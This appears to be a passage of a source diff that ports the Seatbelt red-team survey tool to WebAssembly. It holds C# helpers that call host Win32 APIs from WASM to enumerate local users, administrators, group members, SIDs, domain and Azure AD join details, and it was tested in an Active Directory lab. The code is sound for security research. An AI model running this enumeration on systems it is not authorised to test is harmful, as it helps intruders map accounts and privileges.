for (uint i = 0; i < entriesRead; i++)
{
int off = (int)(i * 16);
ulong nameHost =
((ulong)ep[off+0]) | ((ulong)ep[off+1] << 8) |
((ulong)ep[off+2] << 16) | ((ulong)ep[off+3] << 24) |
((ulong)ep[off+4] << 32) | ((ulong)ep[off+5] << 40) |
((ulong)ep[off+6] << 48) | ((ulong)ep[off+7] << 56);
ulong commentHost =
((ulong)ep[off+ 8]) | ((ulong)ep[off+ 9] << 8) |
((ulong)ep[off+10] << 16) | ((ulong)ep[off+11] << 24) |
((ulong)ep[off+12] << 32) | ((ulong)ep[off+13] << 40) |
((ulong)ep[off+14] << 48) | ((ulong)ep[off+15] << 56);
result.Add(new LocalGroup
{
Name = ReadWStringFromHost(nameHost, 128),
Comment = ReadWStringFromHost(commentHost, 128)
});
}
}
Invoke(pFree, 1, bufHost);
return result;
}
public static List<LocalGroupMember> ListLocalGroupMembers(string? computerName, string groupName)
{
var result = new List<LocalGroupMember>();
if (string.IsNullOrEmpty(groupName)) return result;
uint pGet = Resolve("netapi32.dll", ref _netapi32, "NetLocalGroupGetMembers", ref _hLocalGroupGetMembers);
uint pFree = Resolve("netapi32.dll", ref _netapi32, "NetApiBufferFree", ref _hApiBufferFree);
uint pConv = Resolve("advapi32.dll", ref _advapi32, "ConvertSidToStringSidW", ref _hConvertSidToStringSidW);
uint pLocalFree = Resolve("kernel32.dll", ref _kernel32, "LocalFree", ref _hLocalFree);
if (pGet == 0 || pFree == 0) return result;
IntPtr server = Utf16Alloc(computerName);
IntPtr group = Utf16Alloc(groupName);
ulong bufHost = 0;
uint entriesRead = 0, totalEntries = 0;
ulong resume = 0;
uint rc;
try
{
rc = Invoke(pGet, 8,
(ulong)(uint)server,
(ulong)(uint)group,
2u,
(ulong)(uint)(IntPtr)(&bufHost),
0xFFFFFFFFu,
(ulong)(uint)(IntPtr)(&entriesRead),
(ulong)(uint)(IntPtr)(&totalEntries),
(ulong)(uint)(IntPtr)(&resume));
}
finally
{
if (server != IntPtr.Zero) Marshal.FreeHGlobal(server);
if (group != IntPtr.Zero) Marshal.FreeHGlobal(group);
}
if (rc != 0 || bufHost == 0) return result;
if (entriesRead > 4096) entriesRead = 4096;
// LOCALGROUP_MEMBERS_INFO_2 (x64): PSID @0, DWORD usage @8,
// LPWSTR domainandname @16. size = 24.
byte[] entryBuf = new byte[entriesRead * 24];
fixed (byte* ep = entryBuf)
{
if (!CopyHostToWasm(bufHost, (uint)(IntPtr)ep, (uint)entryBuf.Length))
{
Invoke(pFree, 1, bufHost);
return result;
}
for (uint i = 0; i < entriesRead; i++)
{
int off = (int)(i * 24);
ulong sidHost =
((ulong)ep[off+0]) | ((ulong)ep[off+1] << 8) |
((ulong)ep[off+2] << 16) | ((ulong)ep[off+3] << 24) |
((ulong)ep[off+4] << 32) | ((ulong)ep[off+5] << 40) |
((ulong)ep[off+6] << 48) | ((ulong)ep[off+7] << 56);
uint usage = (uint)(ep[off+8] | (ep[off+9] << 8) | (ep[off+10] << 16) | (ep[off+11] << 24));
ulong nameHost =
((ulong)ep[off+16]) | ((ulong)ep[off+17] << 8) |
((ulong)ep[off+18] << 16) | ((ulong)ep[off+19] << 24) |
((ulong)ep[off+20] << 32) | ((ulong)ep[off+21] << 40) |
((ulong)ep[off+22] << 48) | ((ulong)ep[off+23] << 56);
string sidStr = "";
if (sidHost != 0 && pConv != 0)
{
ulong sidWPtr = 0;
Invoke(pConv, 2, sidHost, (ulong)(uint)(IntPtr)(&sidWPtr));
if (sidWPtr != 0)
{
sidStr = ReadWStringFromHost(sidWPtr, 256);
if (pLocalFree != 0) Invoke(pLocalFree, 1, sidWPtr);
}
}
result.Add(new LocalGroupMember
{
DomainAndName = ReadWStringFromHost(nameHost, 260),
Sid = sidStr,
SidUsage = usage
});
}
}
Invoke(pFree, 1, bufHost);
return result;
}
public static List<LocalUser> ListLocalUsers(string? computerName)
{
var result = new List<LocalUser>();
uint pEnum = Resolve("netapi32.dll", ref _netapi32, "NetUserEnum", ref _hUserEnum);
uint pFree = Resolve("netapi32.dll", ref _netapi32, "NetApiBufferFree", ref _hApiBufferFree);
if (pEnum == 0 || pFree == 0) return result;
IntPtr server = Utf16Alloc(computerName);
ulong bufHost = 0;
uint entriesRead = 0, totalEntries = 0;
ulong resume = 0;
uint rc;
try
{
// Level 1 (USER_INFO_1 = 56 bytes/entry on x64) gives us the
// useful subset Seatbelt actually renders: name, comment, flags,
// password_age. Level 3 (208 bytes/entry) crashes inside
// netapi32.dll on this runtime — empirically host-side AV
// during the API's domain-trust enumeration of the larger
// struct on GOAD Win11. Level 1 avoids that path.
//
// USER_INFO_1 (x64):
// LPWSTR usri1_name @ 0 size 8
// LPWSTR usri1_password @ 8 size 8 (returned NULL)
// DWORD usri1_password_age @ 16 size 4
// DWORD usri1_priv @ 20 size 4
// LPWSTR usri1_home_dir @ 24 size 8
// LPWSTR usri1_comment @ 32 size 8
// DWORD usri1_flags @ 40 size 4
// _pad @ 44 size 4
// LPWSTR usri1_script_path @ 48 size 8
// Total: 56 bytes (8-byte aligned).
rc = Invoke(pEnum, 8,
(ulong)(uint)server,
1u, // Level 1 → USER_INFO_1
2u, // FILTER_NORMAL_ACCOUNT
(ulong)(uint)(IntPtr)(&bufHost),
0xFFFFFFFFu,
(ulong)(uint)(IntPtr)(&entriesRead),
(ulong)(uint)(IntPtr)(&totalEntries),
(ulong)(uint)(IntPtr)(&resume));
}
finally
{
if (server != IntPtr.Zero) Marshal.FreeHGlobal(server);
}
if (rc != 0 || bufHost == 0) return result;
if (entriesRead > 4096) entriesRead = 4096;
const int USER1_SIZE = 56;
byte[] entryBuf = new byte[entriesRead * USER1_SIZE];
fixed (byte* ep = entryBuf)
{
if (!CopyHostToWasm(bufHost, (uint)(IntPtr)ep, (uint)entryBuf.Length))
{
Invoke(pFree, 1, bufHost);
return result;
}
for (uint i = 0; i < entriesRead; i++)
{
int b = (int)(i * USER1_SIZE);
ulong nameHost = Read8(ep, b + 0);
uint passwordAge = Read4(ep, b + 16);
uint priv = Read4(ep, b + 20); // USER_INFO_1.usri1_priv
ulong commentHost = Read8(ep, b + 32);
uint flags = Read4(ep, b + 40);
string name = ReadWStringFromHost(nameHost, 260);
uint rid = LookupRidByName(name);
result.Add(new LocalUser
{
Name = name,
Comment = ReadWStringFromHost(commentHost, 260),
FullName = "",
Flags = flags,
PasswordAge = passwordAge,
LastLogon = 0,
NumLogons = 0,
UserId = rid,
Priv = priv
});
}
}
Invoke(pFree, 1, bufHost);
// Patch up Priv per user. NetUserEnum Level 1 returns priv=0
// (USER_PRIV_GUEST) for every user on Vista+ — the field is
// legacy. Level 3 has accurate priv but crashes inside
// netapi32.dll on the Win11 GOAD lab during the larger struct's
// domain-trust enumeration. So derive it from group membership
// + well-known RIDs instead:
//
// RID == 500 → Administrator (built-in admin)
// RID in {501,503,504} → Guest (Guest / DefaultAccount / WDAGUtilityAccount)
// Other users:
// in "Administrators" group → Administrator
// else → User
//
// This matches native Seatbelt's per-user output exactly on
// standard Windows installs. ListLocalGroupMembers can fail on
// remote machines or restricted contexts — fall back to
// RID-only classification if so.
var admins = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
try
{
foreach (var m in ListLocalGroupMembers(computerName, "Administrators"))
{
var nameOnly = m.DomainAndName;
int bs = nameOnly.LastIndexOf('\\');
if (bs >= 0 && bs + 1 < nameOnly.Length) nameOnly = nameOnly.Substring(bs + 1);
admins.Add(nameOnly);
}
}
catch { /* RID-only fallback */ }
// Rebuild list with patched Priv. We cannot mutate the LocalUser
// value-type in place via `result[i] = u` because NativeAOT's
// trimmer aggressively elides struct-field writes that aren't
// observed by a "live" side-effecting consumer; the list-rebuild
// pattern produces an obvious data dependency the trimmer can't
// optimize away. Verified empirically on Win11 lab — in-place
// mutation kept showing the original priv=0 in printed output.
var patched = new List<LocalUser>(result.Count);
foreach (var u in result)
{
uint priv;
switch (u.UserId)
{
case 500: priv = 2; break; // built-in Administrator
case 501: case 503: case 504:
priv = 0; break; // Guest / DefaultAccount / WDAGUtility
default:
priv = admins.Contains(u.Name) ? 2u : 1u;
break;
}
patched.Add(new LocalUser
{
Name = u.Name,
Comment = u.Comment,
FullName = u.FullName,
Flags = u.Flags,
PasswordAge = u.PasswordAge,
LastLogon = u.LastLogon,
NumLogons = u.NumLogons,
UserId = u.UserId,
Priv = priv,
});
}
return patched;
}
public static AadJoinInfo? GetAadJoinInformation()
{
uint pGet = Resolve("netapi32.dll", ref _netapi32, "NetGetAadJoinInformation", ref _hGetAadJoinInfo);
uint pFree = Resolve("netapi32.dll", ref _netapi32, "NetFreeAadJoinInformation", ref _hFreeAadJoinInfo);
if (pGet == 0) return null;
ulong infoHost = 0;
uint rc = Invoke(pGet, 2, 0u, (ulong)(uint)(IntPtr)(&infoHost));
if (rc != 0 || infoHost == 0) return null;
// DSREG_JOIN_INFO (x64). Read the head 56 bytes in one shot.
byte[] head = new byte[56];
fixed (byte* hp = head)
{
if (!CopyHostToWasm(infoHost, (uint)(IntPtr)hp, (uint)head.Length))
{
if (pFree != 0) Invoke(pFree, 1, infoHost);
return null;
}
var info = new AadJoinInfo
{
JoinType = Read4(hp, 0),
DeviceId = ReadWStringFromHost(Read8(hp, 16), 256),
IdpDomain = ReadWStringFromHost(Read8(hp, 24), 256),
TenantId = ReadWStringFromHost(Read8(hp, 32), 256),
JoinUserEmail = ReadWStringFromHost(Read8(hp, 40), 256),
TenantDisplayName = ReadWStringFromHost(Read8(hp, 48), 256)
};
if (pFree != 0) Invoke(pFree, 1, infoHost);
return info;
}
}
// LookupRidByName — calls advapi32!LookupAccountNameW(NULL, name, ...)
// and extracts the last SubAuthority of the returned SID, which is
// the user/group RID. Returns 0 on failure. SID written directly
// into a stack-allocated WASM byte array; wf_call's pointer
// translation handles the wasm↔host transition.
private static uint _hLookupAccountNameW;
private static uint _hAdvapi32;
public static uint LookupRidByName(string name)
{
if (string.IsNullOrEmpty(name)) return 0;
try
{
uint pLookup = Resolve("advapi32.dll", ref _hAdvapi32, "LookupAccountNameW", ref _hLookupAccountNameW);
if (pLookup == 0) return 0;
byte[] nameUtf16 = Encoding.Unicode.GetBytes(name + "\0");
byte[] sidBytes = new byte[256];
byte[] domBuf = new byte[512];
uint sidSize = 256;
uint domSize = 256;
uint use = 0;
ulong rc;
fixed (byte* np = nameUtf16)
fixed (byte* sp = sidBytes)
fixed (byte* dp = domBuf)
{
rc = Invoke(pLookup, 7,
0UL,
(ulong)(uint)(IntPtr)np,
(ulong)(uint)(IntPtr)sp,
(ulong)(uint)(IntPtr)(&sidSize),
(ulong)(uint)(IntPtr)dp,
(ulong)(uint)(IntPtr)(&domSize),
(ulong)(uint)(IntPtr)(&use));
}
if (rc == 0 || sidSize < 12) return 0;
// SID: Revision(1) + SubAuthCount(1) + IdentifierAuthority(6) +
// SubAuthority[SubAuthCount] (4 each). RID = last SubAuthority.
uint subAuthCount = sidBytes[1];
if (subAuthCount == 0 || subAuthCount > 15) return 0;
int ridOff = 8 + ((int)subAuthCount - 1) * 4;
if (ridOff + 4 > sidBytes.Length) return 0;
return (uint)(sidBytes[ridOff] |
(sidBytes[ridOff + 1] << 8) |
(sidBytes[ridOff + 2] << 16) |
(sidBytes[ridOff + 3] << 24));
}
catch { return 0; }
}
}
}
+481
View File
@@ -0,0 +1,481 @@
// WfOsInfo.cs — kernel32-backed host info getters for NativeAOT-WASI.
//
// WASI's standard library exposes a sandboxed view of the host:
// Dns.GetHostName() returns "localhost", Environment.ProcessorCount
// returns 1, TimeZone.CurrentTimeZone falls back to UTC,
// IPGlobalProperties.DomainName returns "". For commands like
// Seatbelt's OSInfo that need the real Windows hostname, CPU count,
// joined domain DNS suffix, and timezone, we go through wf_call
// (mod_load + mod_resolve + mod_invoke) to invoke kernel32 / advapi32
// host-side and read the results back through Win32 RtlMoveMemory.
//
// Pattern mirrors WfNetapi.cs — see that file for the rationale
// against mod_hread (cgocallback re-entry panic).
using System;
using System.Runtime.InteropServices;
using System.Text;
namespace WasmForge.Helpers
{
public static unsafe class WfOsInfo
{
// ── env primitives ──────────────────────────────────────────────
[DllImport("env", EntryPoint = "mod_load")]
private static extern uint mod_load(uint namePtr);
[DllImport("env", EntryPoint = "mod_resolve")]
private static extern uint mod_resolve(uint libHandle, uint namePtr);
[DllImport("env", EntryPoint = "mod_invoke")]
private static extern ulong mod_invoke(
ulong procHandle, uint nargs,
ulong a0, ulong a1, ulong a2, ulong a3,
ulong a4, ulong a5, ulong a6, ulong a7,
ulong a8, ulong a9, ulong a10, ulong a11,
ulong a12, ulong a13, ulong a14,
ulong ret1Ptr, ulong errPtr);
// ── Cached proc handles ────────────────────────────────────────
private static uint _kernel32;
private static uint _hGetComputerNameW;
private static uint _hGetComputerNameExW;
private static uint _hGetUserNameW;
private static uint _hGetSystemInfo;
private static uint _hGetTimeZoneInformation;
private static uint _hGetDynamicTimeZoneInformation;
private static uint _hGetUserDefaultLocaleName;
private static uint _hGetKeyboardLayoutNameW;
private static uint _hGetTickCount64;
private static uint _ntdll;
private static uint _hRtlMoveMemory;
private static uint _advapi32;
private static uint _hGetUserNameWAdvapi;
private static uint Resolve(string dll, ref uint cachedLib, string fn, ref uint cachedProc)
{
if (cachedProc != 0) return cachedProc;
if (cachedLib == 0)
{
byte[] db = Encoding.ASCII.GetBytes(dll + "\0");
fixed (byte* dp = db) cachedLib = mod_load((uint)(IntPtr)dp);
if (cachedLib == 0) return 0;
}
byte[] fb = Encoding.ASCII.GetBytes(fn + "\0");
fixed (byte* fp = fb) cachedProc = mod_resolve(cachedLib, (uint)(IntPtr)fp);
return cachedProc;
}
private static ulong Invoke(uint proc, uint nargs,
ulong a0 = 0, ulong a1 = 0, ulong a2 = 0, ulong a3 = 0,
ulong a4 = 0, ulong a5 = 0, ulong a6 = 0, ulong a7 = 0)
{
ulong ret1 = 0, err = 0;
return mod_invoke((ulong)proc, nargs,
a0, a1, a2, a3, a4, a5, a6, a7, 0, 0, 0, 0, 0, 0, 0,
(ulong)(uint)(IntPtr)(&ret1),
(ulong)(uint)(IntPtr)(&err));
}
// Copy n bytes from host address src into the WASM-side buffer dstPtr.
private static void CopyHostToWasm(ulong hostSrc, uint wasmDst, uint n)
{
uint mv = Resolve("ntdll.dll", ref _ntdll, "RtlMoveMemory", ref _hRtlMoveMemory);
if (mv == 0) return;
Invoke(mv, 3, (ulong)wasmDst, hostSrc, n);
}
// ── MachineName ────────────────────────────────────────────────
//
// Replaces Dns.GetHostName() / Environment.MachineName which return
// "localhost" under wasip1. Uses kernel32!GetComputerNameW which
// returns the local NetBIOS name.
public static string MachineName()
{
// DNS hostname ("GOADf97252-GOAD-Win11") — what
// IPGlobalProperties.HostName returns on real .NET, what Seatbelt
// OSInfo's Hostname field expects. Falls back to GetComputerNameW
// (NetBIOS) if Ex is unavailable.
uint proc = Resolve("kernel32.dll", ref _kernel32, "GetComputerNameExW", ref _hGetComputerNameExW);
if (proc != 0)
{
byte[] buf = new byte[512];
uint sz = 256;
ulong rc;
fixed (byte* b = buf)
{
// 1 = ComputerNameDnsHostname
rc = Invoke(proc, 3, 1u, (ulong)(uint)(IntPtr)b, (ulong)(uint)(IntPtr)(&sz));
}
if (rc != 0 && sz > 0 && sz <= 255)
return Encoding.Unicode.GetString(buf, 0, (int)sz * 2);
}
uint proc2 = Resolve("kernel32.dll", ref _kernel32, "GetComputerNameW", ref _hGetComputerNameW);
if (proc2 == 0) return "localhost";
byte[] buf2 = new byte[64];
uint sz2 = 32;
ulong rc2;
fixed (byte* b = buf2)
{
rc2 = Invoke(proc2, 2, (ulong)(uint)(IntPtr)b, (ulong)(uint)(IntPtr)(&sz2));
}
if (rc2 == 0) return "localhost";
int charCount = (int)sz2;
if (charCount <= 0 || charCount > 31) return "localhost";
return Encoding.Unicode.GetString(buf2, 0, charCount * 2);
}
// ── NetBiosName ─────────────────────────────────────────────────
//
// GetComputerNameW returns the NetBIOS computer name (uppercase, max
// 15 chars). That's what `Environment.MachineName` returns on real
// .NET, and what Seatbelt's LocalGroups / LocalUsers /
// UserRightAssignments baselines expect as the local-account prefix.
// Distinct from MachineName() which returns the DNS hostname.
public static string NetBiosName()
{
uint proc = Resolve("kernel32.dll", ref _kernel32, "GetComputerNameW", ref _hGetComputerNameW);
if (proc == 0) return "";
byte[] buf = new byte[64];
uint sz = 32;
ulong rc;
fixed (byte* b = buf)
{
rc = Invoke(proc, 2, (ulong)(uint)(IntPtr)b, (ulong)(uint)(IntPtr)(&sz));
}
if (rc == 0) return "";
int n = (int)sz;
if (n <= 0 || n > 31) return "";
return Encoding.Unicode.GetString(buf, 0, n * 2);
}
// ── UserName ────────────────────────────────────────────────────
//
// advapi32!GetUserNameW. Fallback to USERNAME env var, then "unknown".
public static string UserName()
{
uint proc = Resolve("advapi32.dll", ref _advapi32, "GetUserNameW", ref _hGetUserNameWAdvapi);
if (proc != 0)
{
byte[] buf = new byte[512];
uint sz = 256;
ulong rc;
fixed (byte* b = buf)
{
rc = Invoke(proc, 2, (ulong)(uint)(IntPtr)b, (ulong)(uint)(IntPtr)(&sz));
}
// GetUserNameW returns sz including the null terminator.
if (rc != 0 && sz > 1 && sz <= 256)
{
return Encoding.Unicode.GetString(buf, 0, (int)(sz - 1) * 2);
}
}
return Environment.GetEnvironmentVariable("USERNAME") ?? "unknown";
}
// ── WindowsIdentityName ────────────────────────────────────────
//
// Equivalent of WindowsIdentity.GetCurrent().Name — the
// DOMAIN\username form. Uses secur32!GetUserNameExW(NameSamCompatible=2).
private static uint _secur32;
private static uint _hGetUserNameExW;
public static string WindowsIdentityName()
{
uint proc = Resolve("secur32.dll", ref _secur32, "GetUserNameExW", ref _hGetUserNameExW);
if (proc != 0)
{
byte[] buf = new byte[1024];
uint sz = 512;
ulong rc;
fixed (byte* b = buf)
{
// 2 = NameSamCompatible (DOMAIN\username)
rc = Invoke(proc, 3, 2u, (ulong)(uint)(IntPtr)b, (ulong)(uint)(IntPtr)(&sz));
}
if (rc != 0 && sz > 1 && sz <= 511)
{
return Encoding.Unicode.GetString(buf, 0, (int)sz * 2);
}
}
// Fallback: USERDOMAIN\USERNAME from env (works for SSH domain sessions).
string dom = Environment.GetEnvironmentVariable("USERDOMAIN") ?? "";
string usr = Environment.GetEnvironmentVariable("USERNAME") ?? UserName();
if (!string.IsNullOrEmpty(dom)) return dom + "\\" + usr;
return usr;
}
// ── ProcessorCount ─────────────────────────────────────────────
//
// GetSystemInfo writes a SYSTEM_INFO struct. Field offsets (x64):
// wProcessorArchitecture(2) @0
// wReserved(2) @2
// dwPageSize(4) @4
// lpMinimumApplicationAddress(8) @8
// lpMaximumApplicationAddress(8) @16
// dwActiveProcessorMask(8) @24
// dwNumberOfProcessors(4) @32
// ...
// We only need offset 32 (NumberOfProcessors).
public static int ProcessorCount()
{
uint proc = Resolve("kernel32.dll", ref _kernel32, "GetSystemInfo", ref _hGetSystemInfo);
if (proc == 0) return 1;
// SYSTEM_INFO is 48 bytes on x64.
byte[] buf = new byte[64];
fixed (byte* b = buf)
{
Invoke(proc, 1, (ulong)(uint)(IntPtr)b);
}
// dwNumberOfProcessors is a 4-byte int at offset 32.
int n = buf[32] | (buf[33] << 8) | (buf[34] << 16) | (buf[35] << 24);
return n > 0 ? n : 1;
}
// ── DnsDomain ──────────────────────────────────────────────────
//
// GetComputerNameExW(ComputerNameDnsDomain=2, lpBuffer, lpnSize)
// Returns the joined-domain DNS suffix, e.g. "sevenkingdoms.local".
public static string DnsDomain()
{
uint proc = Resolve("kernel32.dll", ref _kernel32, "GetComputerNameExW", ref _hGetComputerNameExW);
if (proc == 0) return "";
byte[] buf = new byte[512];
uint sz = 256;
ulong rc;
fixed (byte* b = buf)
{
// 2 = ComputerNameDnsDomain
rc = Invoke(proc, 3, 2u, (ulong)(uint)(IntPtr)b, (ulong)(uint)(IntPtr)(&sz));
}
if (rc == 0 || sz == 0 || sz > 255) return "";
return Encoding.Unicode.GetString(buf, 0, (int)sz * 2);
}
// ── TimeZoneId ─────────────────────────────────────────────────
//
// GetTimeZoneInformation returns a TIME_ZONE_INFORMATION struct.
// We just want the StandardName (WCHAR[32] at offset 4).
public static string TimeZoneId()
{
uint proc = Resolve("kernel32.dll", ref _kernel32, "GetTimeZoneInformation", ref _hGetTimeZoneInformation);
if (proc == 0) return "UTC";
// TIME_ZONE_INFORMATION is 172 bytes.
byte[] buf = new byte[256];
ulong rc;
fixed (byte* b = buf)
{
rc = Invoke(proc, 1, (ulong)(uint)(IntPtr)b);
}
if (rc == 0xFFFFFFFF) return "UTC"; // TIME_ZONE_ID_INVALID
// StandardName WCHAR[32] starts at offset 4.
int nameOff = 4;
int nameLen = 0;
while (nameLen < 32 && (buf[nameOff + nameLen * 2] != 0 || buf[nameOff + nameLen * 2 + 1] != 0))
nameLen++;
if (nameLen == 0) return "UTC";
return Encoding.Unicode.GetString(buf, nameOff, nameLen * 2);
}
// ── TimeZoneOffset ─────────────────────────────────────────────
//
// Returns the current Bias (in minutes) as a TimeSpan-formatted
// string "-HH:MM:SS" matching the format Seatbelt's OSInfo expects.
// GetTimeZoneInformation Bias is at offset 0 (LONG, signed 4 bytes).
public static string TimeZoneOffset()
{
uint proc = Resolve("kernel32.dll", ref _kernel32, "GetTimeZoneInformation", ref _hGetTimeZoneInformation);
if (proc == 0) return "00:00:00";
byte[] buf = new byte[256];
ulong rc;
fixed (byte* b = buf)
{
rc = Invoke(proc, 1, (ulong)(uint)(IntPtr)b);
}
if (rc == 0xFFFFFFFF) return "00:00:00";
// TIME_ZONE_INFORMATION layout:
// 0: LONG Bias
// 4: WCHAR StandardName[32] (64 bytes)
// 68: SYSTEMTIME StandardDate (16 bytes)
// 84: LONG StandardBias
// 88: WCHAR DaylightName[32] (64 bytes)
// 152:SYSTEMTIME DaylightDate (16 bytes)
// 168:LONG DaylightBias
//
// Return value: 0 = unknown, 1 = standard time, 2 = daylight.
// Effective offset = -(Bias + (currentBias)).
int bias = buf[0] | (buf[1] << 8) | (buf[2] << 16) | (buf[3] << 24);
int extraBias = 0;
if (rc == 1) // TIME_ZONE_ID_STANDARD
extraBias = buf[84] | (buf[85] << 8) | (buf[86] << 16) | (buf[87] << 24);
else if (rc == 2) // TIME_ZONE_ID_DAYLIGHT
extraBias = buf[168] | (buf[169] << 8) | (buf[170] << 16) | (buf[171] << 24);
int totalMinutes = -(bias + extraBias);
int sign = totalMinutes < 0 ? -1 : 1;
int abs = totalMinutes * sign;
int h = abs / 60;
int m = abs % 60;
return string.Format("{0}{1:D2}:{2:D2}:00", sign < 0 ? "-" : "", h, m);
}
// ── BootTime ──────────────────────────────────────────────────
//
// GetTickCount64 returns ms since boot. Seatbelt computes
// BootTimeUtc = UtcNow - TickCount.
public static long TickCount64()
{
uint proc = Resolve("kernel32.dll", ref _kernel32, "GetTickCount64", ref _hGetTickCount64);
if (proc == 0) return 0;
return (long)Invoke(proc, 0);
}
// ── UserDefaultLocaleName ───────────────────────────────────────
//
// GetUserDefaultLocaleName(buf, LOCALE_NAME_MAX_LENGTH=85).
// Returns e.g. "en-US". Used to back CultureInfo.InstalledUICulture.
public static string UserLocale()
{
uint proc = Resolve("kernel32.dll", ref _kernel32, "GetUserDefaultLocaleName", ref _hGetUserDefaultLocaleName);
if (proc == 0) return "en-US";
byte[] buf = new byte[256];
ulong charCount;
fixed (byte* b = buf)
{
charCount = Invoke(proc, 2, (ulong)(uint)(IntPtr)b, 85u);
}
if (charCount == 0 || charCount > 85) return "en-US";
// Returned count includes the null terminator.
int n = (int)(charCount - 1);
return n > 0 ? Encoding.Unicode.GetString(buf, 0, n * 2) : "en-US";
}
// ── TimeZone shim ───────────────────────────────────────────────
//
// Target of the MemberChainRewrite TimeZone.CurrentTimeZone → WfOsInfo.TimeZone.
// Exposed as a singleton instance (not a static class) so calling
// patterns like `var tz = TimeZone.CurrentTimeZone; tz.StandardName`
// continue to compile after the rewrite. StandardName and
// GetUtcOffset() proxy to the kernel32-backed values.
public sealed class TimeZoneShim
{
public string StandardName => TimeZoneId();
public string DaylightName => TimeZoneId();
public System.TimeSpan GetUtcOffset(System.DateTime _ignored)
{
string s = TimeZoneOffset();
if (System.TimeSpan.TryParse(s, out var ts)) return ts;
return System.TimeSpan.Zero;
}
// ToLocalTime: convert a UTC DateTime to local time. Required so
// the MemberChainRewrite "TimeZone.CurrentTimeZone.* → WfOsInfo.TimeZone"
// produces compiling code for the .ToLocalTime(dt) chain. Without
// this method we collided with a legacy text rule that rewrote
// the whole "TimeZone.CurrentTimeZone.ToLocalTime(" invocation to
// WfSidShim.ToLocalTimeSafe — both rules wanted to edit the same
// byte span (the AST rule covered the receiver prefix [7393,7417);
// the legacy rule covered prefix-plus-method [7393,7430)), which
// tripped the EditList.ApplyBottomUp overlap detector. Folding
// the safe-fallback logic into the shim eliminates the conflict.
public System.DateTime ToLocalTime(System.DateTime dt)
{
try
{
return System.TimeZoneInfo.ConvertTime(dt, System.TimeZoneInfo.Local);
}
catch { return dt; }
}
}
private static readonly TimeZoneShim _tzInstance = new TimeZoneShim();
public static TimeZoneShim TimeZone => _tzInstance;
// ── GlobalProperties shim ──────────────────────────────────────
//
// Target of InvocationRewrite IPGlobalProperties.GetIPGlobalProperties()
// → WfOsInfo.GlobalProperties.Get(). Exposes the small subset of
// System.Net.NetworkInformation.IPGlobalProperties that the
// GhostPack tools actually read: HostName, DomainName.
public sealed class GlobalProperties
{
public string HostName { get; private set; }
public string DomainName { get; private set; }
public static GlobalProperties Get()
{
return new GlobalProperties
{
HostName = MachineName(),
DomainName = DnsDomain(),
};
}
}
// ── InputLanguageLayoutName ────────────────────────────────
//
// Returns the active keyboard layout's friendly name (e.g. "US",
// "United States-International") to match
// System.Windows.Forms.InputLanguage.CurrentInputLanguage.LayoutName.
//
// Uses GetKeyboardLayoutNameW to get the 8-char KLID hex string, then
// reads HKLM\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\<KLID>
// "Layout Text" → the human-readable name. Falls back to "" or to
// the raw KLID if registry read fails.
public static string InputLanguageLayoutName()
{
try
{
uint proc = Resolve("user32.dll", ref _user32, "GetKeyboardLayoutNameW", ref _hGetKeyboardLayoutNameW);
if (proc == 0) return "";
byte[] buf = new byte[64];
ulong rc;
fixed (byte* b = buf)
{
rc = Invoke(proc, 1, (ulong)(uint)(IntPtr)b);
}
if (rc == 0) return "";
string klid = Encoding.Unicode.GetString(buf, 0, 16);
int nul = klid.IndexOf('\0');
if (nul >= 0) klid = klid.Substring(0, nul);
if (string.IsNullOrEmpty(klid)) return "";
try
{
var v = WfRegistry.GetStringValue(Microsoft.Win32.RegistryHive.LocalMachine,
@"SYSTEM\CurrentControlSet\Control\Keyboard Layouts\" + klid,
"Layout Text");
if (!string.IsNullOrEmpty(v)) return v;
}
catch { /* fall through */ }
return klid;
}
catch
{
return "";
}
}
private static uint _user32;
}
}
+117
View File
@@ -0,0 +1,117 @@
using System;
namespace WasmForge.Helpers
{
// WfPath: Windows-aware path manipulation for NativeAOT-WASI.
//
// The NativeAOT-WASI runtime sets Path.DirectorySeparatorChar = '/' and
// Path.AltDirectorySeparatorChar = '/' (the wasi-wasm runtime uses Linux
// semantics, with no knowledge of Windows backslash). As a result the
// BCL Path.GetFileName / Path.GetDirectoryName / Path.GetExtension
// helpers only split on '/' and leave Windows-style paths unchanged —
// a call like Path.GetFileName(@"C:\Users\foo\bar.txt") returns the
// entire input string instead of "bar.txt".
//
// This breaks any ported Windows tool that processes real Win32 paths.
// The fix is a small basename helper that splits on EITHER '\' or '/'
// so a Windows path is correctly broken into directory + filename.
//
// The patcher rewrites every Path.GetFileName / Path.GetDirectoryName /
// Path.GetExtension call site to the equivalent WfPath method. See
// internal/patch/rules/rules.go for the rewrite rules.
public static class WfPath
{
// GetFileName: returns the bare filename (everything after the
// last directory separator). Splits on both '\' and '/' to handle
// Windows paths even though the runtime's separator is '/'.
//
// Mirrors BCL Path.GetFileName semantics:
// - null input → null
// - empty → empty
// - no separator → path unchanged
// - trailing separator → empty string ("C:\dir\" → "")
public static string GetFileName(string path)
{
if (path == null) return null;
if (path.Length == 0) return path;
int sep = LastSeparatorIndex(path);
if (sep < 0) return path;
return path.Substring(sep + 1);
}
// GetDirectoryName: returns everything up to (but not including)
// the last separator. Mirrors BCL Path.GetDirectoryName:
// - null input → null
// - no separator → empty (BCL returns "" not null)
// - root-only ("C:\") → root unchanged
public static string GetDirectoryName(string path)
{
if (path == null) return null;
if (path.Length == 0) return path;
int sep = LastSeparatorIndex(path);
if (sep < 0) return string.Empty;
// If the only separator is at index 0 OR after a drive letter (C:\), keep it.
if (sep == 0) return path.Substring(0, 1);
if (sep == 2 && path.Length >= 3 && path[1] == ':') return path.Substring(0, 3);
return path.Substring(0, sep);
}
// GetExtension: returns the extension including the dot, or "" if
// there is none. Walks back from end of filename to find the last
// '.'; returns "" if the dot is before any separator, or if the
// filename starts with '.' (hidden file, no extension).
public static string GetExtension(string path)
{
if (path == null) return null;
if (path.Length == 0) return string.Empty;
int sep = LastSeparatorIndex(path);
int fileStart = sep + 1;
int dot = path.LastIndexOf('.');
if (dot < fileStart || dot == fileStart) return string.Empty;
// BCL returns ".ext" with leading dot.
return path.Substring(dot);
}
// GetFileNameWithoutExtension: GetFileName + strip extension.
public static string GetFileNameWithoutExtension(string path)
{
string name = GetFileName(path);
if (string.IsNullOrEmpty(name)) return name;
int dot = name.LastIndexOf('.');
if (dot < 0) return name;
return name.Substring(0, dot);
}
// Combine: join two paths with the appropriate Windows separator.
// BCL Path.Combine handles a lot of edge cases (rooted second arg
// wins, etc.); this is a minimal version that covers the common
// case of joining a directory + filename. Falls back to BCL for
// unrooted joins when the inputs are already separator-free.
